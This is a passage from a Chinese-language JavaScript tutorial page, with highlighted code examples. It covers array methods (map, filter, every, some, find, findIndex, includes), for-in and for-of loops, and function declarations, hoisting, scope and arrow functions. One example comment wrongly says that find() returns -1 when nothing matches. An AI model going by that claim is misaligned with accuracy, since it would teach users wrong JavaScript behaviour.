class="number">2</span>, <span class="number">3</span>];</span><br><span class="line">arr.<span class="title function_">forEach</span>(<span class="function">(<span class="params">item, index, array</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(item, index, array)</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line">结果：</span><br><span class="line"><span class="number">1</span> <span class="number">0</span> [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>]</span><br><span class="line"><span class="number">2</span> <span class="number">1</span> [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>]</span><br><span class="line"><span class="number">3</span> <span class="number">2</span> [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">// 第一个参数：item 当前元素</span></span><br><span class="line"><span class="comment">// 第二个参数：index 当前元素索引</span></span><br><span class="line"><span class="comment">// 第三个参数：array 数组本身</span></span><br></pre></td></tr></table></figure><p><strong>map()</strong></p><p>方法返回一个由原数组中的每个元素调用一个指定方法后的返回值组成的新数组，不改变原数组</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">map</span>(<span class="function">(<span class="params">item, index, array</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> item + <span class="number">1</span>;</span><br><span class="line">&#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res) <span class="comment">// [2, 3, 4]  返回新数组</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(arr) <span class="comment">// [1, 2, 3]  不改变原数组</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 第一个参数：item 当前元素，必须</span></span><br><span class="line"><span class="comment">// 第二个参数：index 当前元素索引，可选</span></span><br><span class="line"><span class="comment">// 第三个参数：array 数组本身，可选</span></span><br></pre></td></tr></table></figure><blockquote><p>p是普通价格，l是一个数组，里面有3个阶梯价格，如果有阶梯价格就不显示普通价格，显示阶梯价格最小的价格</p></blockquote><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="attr">p</span>:<span class="number">20</span></span><br><span class="line"><span class="attr">l</span>:[&#123;<span class="attr">price</span>:<span class="number">10</span>&#125;,&#123;<span class="attr">price</span>:<span class="number">30</span>&#125;,&#123;<span class="attr">price</span>:<span class="number">20</span>&#125;]</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">getPrice</span>(<span class="params">p, l</span>) &#123;</span><br><span class="line">  <span class="keyword">if</span> (l) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title class_">Math</span>.<span class="property">min</span>.<span class="title function_">apply</span>(<span class="literal">null</span>, l.<span class="title function_">map</span>(<span class="function"><span class="params">x</span> =&gt;</span> <span class="built_in">parseFloat</span>(x.<span class="property">price</span>)))</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="keyword">return</span> p</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>filter()</strong></p><p>过滤数组，并返回符合条件的所有元素组成新的数组，不改变原数组，<strong><code>filter() 不会对空数组进行检测</code></strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">filter</span>(<span class="function">(<span class="params">item, index, array</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(item, index, array);</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 1 0 [1, 2, 3]</span></span><br><span class="line"><span class="comment">// 2 1 [1, 2, 3]</span></span><br><span class="line"><span class="comment">// 3 2 [1, 2, 3]</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 第一个参数：item 当前元素</span></span><br><span class="line"><span class="comment">// 第二个参数：index 当前元素索引</span></span><br><span class="line"><span class="comment">// 第三个参数：array 数组本身</span></span><br></pre></td></tr></table></figure><p>filter() 不会对空数组进行检测</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [];</span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">filter</span>(<span class="function"><span class="params">i</span> =&gt;</span> i);</span><br><span class="line">res; <span class="comment">// []</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">filter</span>(<span class="function"><span class="params">item</span> =&gt;</span> item &gt; <span class="number">1</span>);</span><br><span class="line">res; <span class="comment">// [2, 3]</span></span><br></pre></td></tr></table></figure><p>删掉数组中的空字符串</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="string">&#x27;a&#x27;</span>, <span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;&#x27;</span>];</span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">filter</span>(<span class="function"><span class="params">item</span> =&gt;</span> &#123;</span><br><span class="line"><span class="keyword">return</span> item &amp;&amp; item.<span class="title function_">trim</span>(); <span class="comment">// 注意：IE9以下的版本没有trim()方法，Number类型没有trim()方法</span></span><br><span class="line">&#125;)</span><br><span class="line">res; <span class="comment">// [&quot;a&quot;, &quot;b&quot;]</span></span><br></pre></td></tr></table></figure><p>filter实现数组去重</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="string">&#x27;a&#x27;</span>, <span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;c&#x27;</span>, <span class="string">&#x27;b&#x27;</span>]</span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">filter</span>(<span class="function">(<span class="params">item, index, array</span>) =&gt;</span> &#123;</span><br><span class="line"><span class="keyword">return</span> array.<span class="title function_">indexOf</span>(item) === index</span><br><span class="line">&#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res) <span class="comment">// [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;]</span></span><br></pre></td></tr></table></figure><p><strong>every()</strong></p><p>方法是js中的迭代方法，用于检测数组中的<strong>所有元素</strong>是否满足指定条件</p><ul><li>依次执行数组元素，如果一个元素不满足条件就返回false，不会继续执行后面的元素判断；所有数组元素都满足条件则返回true</li><li>不会改变原数组</li></ul><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> a = arr.<span class="title function_">every</span>(<span class="keyword">function</span>(<span class="params"> item, index, array</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(item); <span class="comment">// 打印1，不会打印2、3、4、5、6</span></span><br><span class="line">    <span class="keyword">return</span> item &gt; <span class="number">4</span>;</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line">a; <span class="comment">// false</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> a = arr.<span class="title function_">every</span>(<span class="keyword">function</span>(<span class="params"> item, index, array</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(item); <span class="comment">// 打印 1、2、3、4、5、6</span></span><br><span class="line">    <span class="keyword">return</span> item &lt; <span class="number">10</span>;</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line">a; <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p><strong>some()</strong></p><p>方法是js中的迭代方法，用于检测数组中的<strong>某些元素</strong>是否满足指定条件</p><ul><li>依次执行数组元素，如果一个元素满足条件就返回true，不会继续执行后面的元素判断；没有满足条件则返回false</li><li>不会改变原数组</li></ul><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> a = arr.<span class="title function_">some</span>(<span class="keyword">function</span>(<span class="params"> item, index, array</span>)&#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(item); <span class="comment">// 打印 1、2、3、4、5，不会打印6</span></span><br><span class="line">    <span class="keyword">return</span> item &gt; <span class="number">4</span>;</span><br><span class="line">&#125;); </span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a) <span class="comment">// true</span></span><br></pre></td></tr></table></figure><h3 id="数组方法（ES6）"><a href="#数组方法（ES6）" class="headerlink" title="数组方法（ES6）"></a>数组方法（ES6）</h3><table><thead><tr><th>序号</th><th>方法</th><th>描述</th></tr></thead><tbody><tr><td>1</td><td>includes()</td><td>判断数组是否包含该元素，返回Boolean值</td></tr><tr><td>2</td><td>find()</td><td>返回符合传入测试（函数）条件的数组元素，<strong>不改变原数组</strong></td></tr><tr><td>3</td><td>findIndex()</td><td>返回符合传入测试（函数）条件的数组元素索引，<strong>不改变原数组</strong></td></tr><tr><td>4</td><td>for…of 循环</td><td>entries()，keys() 和 values()</td></tr></tbody></table><p><strong>includes()</strong></p><p>判断数组是否包含该元素，返回Boolean值</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>].<span class="title function_">includes</span>(<span class="number">2</span>); <span class="comment">// true</span></span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>].<span class="title function_">includes</span>(<span class="number">4</span>); <span class="comment">// false</span></span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="title class_">NaN</span>].<span class="title function_">includes</span>(<span class="title class_">NaN</span>); <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p>该方法的第二个参数：</p><ul><li>表示搜索的起始位置，默认为 0</li><li>如果第二个参数为负数，则表示倒数的位置，如果这时它大于数组长度（比如第二个参数为 -4，但数组长度为 3 ），则会重置为从 0 开始。</li></ul><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>].<span class="title function_">includes</span>(<span class="number">3</span>, <span class="number">3</span>); <span class="comment">// false</span></span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>].<span class="title function_">includes</span>(<span class="number">3</span>, -<span class="number">1</span>); <span class="comment">// true</span></span><br></pre></td></tr></table></figure><p><strong>find()</strong></p><p>返回符合传入测试（函数）条件的数组元素，<strong>不改变原数组</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>].<span class="title function_">find</span>(<span class="keyword">function</span>(<span class="params">item</span>)&#123;</span><br><span class="line">   <span class="keyword">return</span> item &gt; <span class="number">3</span>;</span><br><span class="line">&#125;) <span class="comment">// 4  可以看到只返回一个值</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>].<span class="title function_">find</span>(<span class="keyword">function</span>(<span class="params">item, index, arr</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> item &gt; <span class="number">9</span>;</span><br><span class="line">&#125;) <span class="comment">// -1  所有元素都不符合条件，则返回-1</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [&#123; <span class="attr">num</span>: <span class="number">1</span>, <span class="attr">name</span>: <span class="string">&#x27;111&#x27;</span>&#125;, &#123; <span class="attr">num</span>: <span class="number">2</span>, <span class="attr">name</span>: <span class="string">&#x27;222&#x27;</span>&#125;, &#123; <span class="attr">num</span>: <span class="number">3</span>, <span class="attr">name</span>: <span class="string">&#x27;333&#x27;</span>&#125;];</span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">find</span>(<span class="function"><span class="params">i</span> =&gt;</span> i.<span class="property">num</span> &gt; <span class="number">1</span>);</span><br><span class="line">res; <span class="comment">// &#123;num: 2, name: &quot;222&quot;&#125;</span></span><br></pre></td></tr></table></figure><p> <strong>findIndex()</strong></p><p>返回符合传入测试（函数）条件的数组元素索引，<strong>不改变原数组</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>].<span class="title function_">findIndex</span>(<span class="keyword">function</span>(<span class="params">item</span>) &#123;</span><br><span class="line">   <span class="keyword">return</span> item &gt; <span class="number">3</span>;</span><br><span class="line">&#125;) <span class="comment">// 3  返回索引</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>].<span class="title function_">findIndex</span>(<span class="keyword">function</span>(<span class="params">item</span>) &#123;</span><br><span class="line">   <span class="keyword">return</span> item &gt; <span class="number">5</span>;</span><br><span class="line">&#125;) <span class="comment">// -1 所有元素都不符合条件，则返回-1</span></span><br></pre></td></tr></table></figure><p>两个方法都可以发现<code>NaN</code>，弥补了数组的<code>indexOf</code>方法的不足。</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line">[<span class="title class_">NaN</span>].<span class="title function_">indexOf</span>(<span class="title class_">NaN</span>); <span class="comment">// -1</span></span><br><span class="line"></span><br><span class="line">[<span class="title class_">NaN</span>].<span class="title function_">findIndex</span>(<span class="function"><span class="params">i</span> =&gt;</span> <span class="title class_">Object</span>.<span class="title function_">is</span>(<span class="title class_">NaN</span>, i)); <span class="comment">// 0</span></span><br></pre></td></tr></table></figure><p><strong>用 for…of 循环进行遍历</strong></p><p><code>keys()</code> 是对<strong>键名</strong>的遍历</p><p><code>values()</code>是对<strong>值</strong>的遍历</p><p><code>entries()</code> 是对<strong>键值对</strong>的遍历</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> index <span class="keyword">of</span> [<span class="number">1</span>, <span class="number">2</span>].<span class="title function_">keys</span>()) &#123;</span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">log</span>(index);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 0</span></span><br><span class="line"><span class="comment">// 1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> value <span class="keyword">of</span> [<span class="number">1</span>, <span class="number">2</span>].<span class="title function_">values</span>()) &#123;</span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">log</span>(value);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 1</span></span><br><span class="line"><span class="comment">// 2</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> [index, value] <span class="keyword">of</span> [<span class="number">1</span>, <span class="number">2</span>].<span class="title function_">entries</span>()) &#123;</span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">log</span>(index, value);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 0 1</span></span><br><span class="line"><span class="comment">// 1 2</span></span><br></pre></td></tr></table></figure><h3 id="数组遍历（for-in-和-for-of）"><a href="#数组遍历（for-in-和-for-of）" class="headerlink" title="数组遍历（for in 和 for of）"></a>数组遍历（for in 和 for of）</h3><p><strong>for in 语句用于遍历数组或者对象</strong></p><p>得到的是数组的元素索引，或者是对象的属性key</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = &#123; <span class="attr">a</span>: <span class="number">10</span>, <span class="attr">b</span>: <span class="number">20</span>, <span class="attr">c</span>: <span class="number">30</span> &#125;;</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i <span class="keyword">in</span> obj) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(i +<span class="string">&#x27; &#x27;</span>+ obj[i]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// a 10</span></span><br><span class="line"><span class="comment">// b 20</span></span><br><span class="line"><span class="comment">// c 30</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">10</span>, <span class="number">20</span>, <span class="number">30</span>];</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i <span class="keyword">in</span> arr) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(i +<span class="string">&#x27; &#x27;</span>+ arr[i]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 0 10</span></span><br><span class="line"><span class="comment">// 1 20</span></span><br><span class="line"><span class="comment">// 2 30</span></span><br></pre></td></tr></table></figure><p><strong>for of 语句用于数组遍历，不能遍历对象</strong></p><p>直接得到数组的值</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [<span class="number">10</span>, <span class="number">20</span>, <span class="number">30</span>];</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i <span class="keyword">of</span> arr) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(i);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 10</span></span><br><span class="line"><span class="comment">// 20</span></span><br><span class="line"><span class="comment">// 30</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> arr = [&#123;<span class="attr">a</span>: <span class="number">10</span>&#125;, &#123;<span class="attr">b</span>: <span class="number">20</span>&#125;, &#123;<span class="attr">c</span>: <span class="number">30</span>&#125;];</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i <span class="keyword">of</span> arr) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(i);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// &#123;a: 10&#125;</span></span><br><span class="line"><span class="comment">// &#123;b: 20&#125;</span></span><br><span class="line"><span class="comment">// &#123;c: 30&#125;</span></span><br></pre></td></tr></table></figure><h2 id="函数"><a href="#函数" class="headerlink" title="函数"></a>函数</h2><h3 id="简介-2"><a href="#简介-2" class="headerlink" title="简介"></a>简介</h3><p>函数是被设计为执行特定任务的代码块</p><img src="https://i.niupic.com/images/2020/02/04/6mSy.jpg" /><img src="https://i.niupic.com/images/2020/02/04/6mSw.jpg" /><h3 id="函数声明"><a href="#函数声明" class="headerlink" title="函数声明"></a>函数声明</h3><p>也称函数定义、函数语句，由<code>function</code>关键字组成，包括</p><ul><li>函数的名称</li><li>函数括号()，用于传参</li><li>函数大括号{}</li></ul><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">add</span>(<span class="params">a, b</span>) &#123; <span class="comment">// 这里的a，b是形参，且该函数是命名函数 【函数声明】</span></span><br><span class="line"><span class="keyword">return</span> a + b;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">add</span>(<span class="number">1</span>, <span class="number">2</span>); <span class="comment">// 3 这里的1，2是实参  【函数调用】</span></span><br></pre></td></tr></table></figure><p>特点：函数声明的时候，函数体并不会执行，只要当函数被调用的时候才会执行。</p><h3 id="函数表达式"><a href="#函数表达式" class="headerlink" title="函数表达式"></a>函数表达式</h3><p>这样的函数其实是<strong>匿名函数</strong>(没有名称的函数)</p><p>存放在变量中的函数不需要函数名。他们总是使用变量名调用</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> getSum = <span class="keyword">function</span>(<span class="params">a, b</span>) &#123; <span class="comment">// 这里的a，b是形参，且该函数是匿名函数</span></span><br><span class="line"><span class="keyword">return</span> a + b;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">getSum</span>(<span class="number">1</span>, <span class="number">2</span>); <span class="comment">// 3</span></span><br></pre></td></tr></table></figure><p>当将函数作为<strong>参数</strong>传递给另一个函数时，函数表达式很方便</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">形参：函数在定义的时候小括号里的变量叫形参</span><br><span class="line"></span><br><span class="line">实参：函数在调用的时候小括号里传入的值叫实参，实参可以是变量也可以是值</span><br><span class="line"></span><br><span class="line">命名函数：函数如果有名字，就是命名函数</span><br><span class="line"></span><br><span class="line">匿名函数：函数如果没有名字，就是匿名函数</span><br><span class="line"></span><br><span class="line">函数表达式：把一个函数给一个变量，此时形成了函数表达式 ：<span class="keyword">var</span> 变量 = 匿名函数</span><br><span class="line"></span><br><span class="line">回调函数：函数可以作为参数使用，如果一个函数作为参数，那么我们说这个参数(函数)可以叫回调函数</span><br></pre></td></tr></table></figure><h3 id="函数调用"><a href="#函数调用" class="headerlink" title="函数调用"></a>函数调用</h3><p>定义一个函数并不会自动的执行它</p><p><strong>函数调用</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> getSum = <span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> a + b;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">getSum</span>(<span class="number">1</span>, <span class="number">2</span>); <span class="comment">// 3</span></span><br></pre></td></tr></table></figure><p><strong>函数表达式自调用</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line">&#125;)(); <span class="comment">// hello</span></span><br></pre></td></tr></table></figure><p>注意：无法对函数声明进行自调用</p><h3 id="函数提升"><a href="#函数提升" class="headerlink" title="函数提升"></a>函数提升</h3><p>对于函数来说，只有函数声明会被提升到顶部，而函数表达式不会被提升</p><p><strong>函数声明会提升</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">fn</span>(<span class="number">1</span>, <span class="number">2</span>); <span class="comment">// 3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> a + b;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>函数表达式不会提升</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">fn</span>(<span class="number">1</span>, <span class="number">2</span>); <span class="comment">// error: f is not a function</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> fn = <span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> a + b;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="函数作为值"><a href="#函数作为值" class="headerlink" title="函数作为值"></a>函数作为值</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> a * b;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> x = <span class="title function_">fn</span>(<span class="number">4</span>, <span class="number">3</span>) * <span class="number">2</span>; <span class="comment">// 24</span></span><br></pre></td></tr></table></figure><h3 id="函数是对象"><a href="#函数是对象" class="headerlink" title="函数是对象"></a>函数是对象</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">typeof</span> <span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;&#125;; <span class="comment">// function</span></span><br></pre></td></tr></table></figure><p>但是最好是把 JavaScript 函数描述为对象</p><h3 id="函数作用域"><a href="#函数作用域" class="headerlink" title="函数作用域"></a>函数作用域</h3><p>在函数内定义的变量不能在函数之外的任何地方访问，因为变量仅仅在该函数的域的内部有定义</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 10</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// a is not defined</span></span><br></pre></td></tr></table></figure><h3 id="箭头函数（ES6）"><a href="#箭头函数（ES6）" class="headerlink" title="箭头函数（ES6）"></a>箭头函数（ES6）</h3><h4 id="箭头函数语法"><a href="#箭头函数语法" class="headerlink" title="箭头函数语法"></a>箭头函数语法</h4><p>总结：</p><p>箭头函数相当于匿名函数，所以需要变量接收</p><p>如果参数只有一个，不需要括号，参数没有或者多个则需要括号</p><p>如果代码块部分多于一条语句，需要大括号{}</p><p>如果需要返回一个对象，必须在对象外面加上括号</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">f</span> = (<span class="params"></span>) =&gt; <span class="string">&#x27;hello&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 等同于</span></span><br><span class="line"><span class="keyword">var</span> <span class="title function_">f</span> = (<span class="params"></span>) =&gt; &#123; <span class="keyword">return</span> <span class="string">&#x27;hello&#x27;</span> &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 等同于</span></span><br><span class="line"><span class="keyword">var</span> f = <span class="keyword">function</span>(<span class="params"></span>) &#123; <span class="keyword">return</span> <span class="string">&#x27;hello&#x27;</span> &#125;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ES5</span></span><br><span class="line"><span class="keyword">var</span> f = <span class="keyword">function</span>(<span class="params">a, b</span>) &#123; <span class="keyword">return</span> a * b &#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ES6</span></span><br><span class="line"><span class="keyword">var</span> <span class="title function_">f</span> = (<span class="params">a, b</span>) =&gt; a * b;</span><br></pre></td></tr></table></figure><p>当箭头函数只有一个参数时，可以省略括号，直接写参数名</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">f</span> = a =&gt; a;</span><br></pre></td></tr></table></figure><p>当箭头函数没有参数或者多个参数是，不能省略括号</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">f</span> = (<span class="params"></span>) =&gt; <span class="string">&#x27;hello&#x27;</span>;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">sum</span> = (<span class="params">a, b</span>) =&gt; a + b;</span><br></pre></td></tr></table></figure><p>当箭头函数的代码块部分多于一条语句，就要使用 <code>{}</code> 将它们括起来，并且使用 <code>return</code> 语句返回</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> <span class="title function_">sum</span> = (<span class="params">a, b</span>) =&gt; &#123; </span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">  <span class="keyword">return</span> a + b; </span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">sum</span>(<span class="number">1</span>, <span class="number">2</span>);</span><br><span class="line"><span class="comment">// hello</span></span><br><span class="line"><span class="comment">// 3</span></span><br></pre></td></tr></table></figure><p>由于大括号被解释为代码块，所以如果箭头函数直接返回一个对象，必须在对象外面加上括号，否则会报错</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="title function_">getObj</span> = id =&gt; (&#123; <span class="attr">id</span>: id, <span class="attr">name</span>: <span class="string">&#x27;aaa&#x27;</span> &#125;);</span><br></pre></td></tr></table></figure><h4 id="箭头函数示例"><a href="#箭头函数示例" class="headerlink" title="箭头函数示例"></a>箭头函数示例</h4><p>箭头函数可以与变量解构结合使用</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">getName</span> = (<span class="params">&#123; first, last &#125;</span>) =&gt; first + <span class="string">&#x27; &#x27;</span> + last;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 等同于</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">getName</span>(<span class="params">person</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> person.<span class="property">first</span> + <span class="string">&#x27; &#x27;</span> + person.<span class="property">last</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>箭头函数使得表达更加简洁。</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">iseven</span> = n =&gt; n % <span class="number">2</span> === <span class="number">0</span></span><br><span class="line"><span class="keyword">const</span> <span class="title function_">square</span> = n =&gt; n * n</span><br></pre></td></tr></table></figure><p>箭头函数的一个用处是简化回调函数。</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span 